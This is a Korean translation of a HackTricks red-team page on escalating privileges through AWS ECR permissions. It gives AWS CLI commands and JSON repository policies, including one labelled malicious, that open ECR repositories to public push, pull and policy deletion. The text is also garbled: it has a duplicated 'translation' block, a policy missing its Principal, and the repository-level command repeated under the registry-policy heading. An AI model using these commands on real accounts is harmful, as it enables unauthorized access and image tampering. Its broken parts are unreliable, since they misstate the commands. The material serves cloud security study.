AWS - ECR Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

ecr:GetAuthorizationTokenecr:BatchGetImage 권한을 가진 공격자는 ECR에 로그인하고 이미지를 다운로드할 수 있습니다.

이미지를 다운로드하는 방법에 대한 자세한 정보는 다음을 참조하세요:

pageAWS - ECR Post Exploitation

잠재적 영향: 트래픽에서 민감한 정보를 가로채어 간접적으로 권한 상승을 할 수 있습니다.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

위의 모든 권한을 가진 공격자는 ECR에 로그인하고 이미지를 업로드할 수 있습니다. 이는 해당 이미지가 사용되는 다른 환경으로 권한 상승하는 데 유용할 수 있습니다.

새 이미지를 업로드하거나 기존 이미지를 업데이트하는 방법을 알아보려면 다음을 확인하세요:

pageAWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

이전 섹션과 동일하지만 공개 저장소에 대한 것입니다.

ecr:SetRepositoryPolicy

이 권한을 가진 공격자는 저장소 정책변경하여 자체적으로 (또는 모두에게) 읽기/쓰기 액세스를 부여할 수 있습니다. 예를 들어, 이 예제에서는 모든 사람에게 읽기 액세스가 부여됩니다.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

my-policy.json 파일의 내용:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "ecr:GetAuthorizationToken",
        "ecr:BatchCheckLayerAvailability",
        "ecr:GetDownloadUrlForLayer",
        "ecr:GetRepositoryPolicy",
        "ecr:DescribeRepositories",
        "ecr:ListImages",
        "ecr:DescribeImages",
        "ecr:BatchGetImage",
        "ecr:GetLifecyclePolicy",
        "ecr:GetLifecyclePolicyPreview",
        "ecr:ListTagsForResource",
        "ecr:DescribeImageScanFindings",
        "ecr:InitiateLayerUpload",
        "ecr:UploadLayerPart",
        "ecr:CompleteLayerUpload",
        "ecr:PutImage"
      ],
      "Resource": "*"
    }
  ]
}

번역:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "ecr:GetAuthorizationToken",
        "ecr:BatchCheckLayerAvailability",
        "ecr:GetDownloadUrlForLayer",
        "ecr:GetRepositoryPolicy",
        "ecr:DescribeRepositories",
        "ecr:ListImages",
        "ecr:DescribeImages",
        "ecr:BatchGetImage",
        "ecr:GetLifecyclePolicy",
        "ecr:GetLifecyclePolicyPreview",
        "ecr:ListTagsForResource",
        "ecr:DescribeImageScanFindings",
        "ecr:InitiateLayerUpload",
        "ecr:UploadLayerPart",
        "ecr:CompleteLayerUpload",
        "ecr:PutImage"
      ],
      "Resource": "*"
    }
  ]
}
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

이전 섹션과 마찬가지로, 공개 저장소에 대한 것입니다. 공격자는 ECR Public 저장소의 저장소 정책을 수정하여 무단으로 공개 액세스를 허용하거나 권한을 상승시킬 수 있습니다.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

잠재적인 영향: ECR Public 저장소에 대한 무단 공개 액세스로 인해 사용자가 이미지를 푸시, 풀 또는 삭제할 수 있음.

ecr:PutRegistryPolicy

이 권한을 가진 공격자는 레지스트리 정책을 변경하여 자신, 자신의 계정 또는 모든 사용자에게 읽기/쓰기 액세스를 부여할 수 있음.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新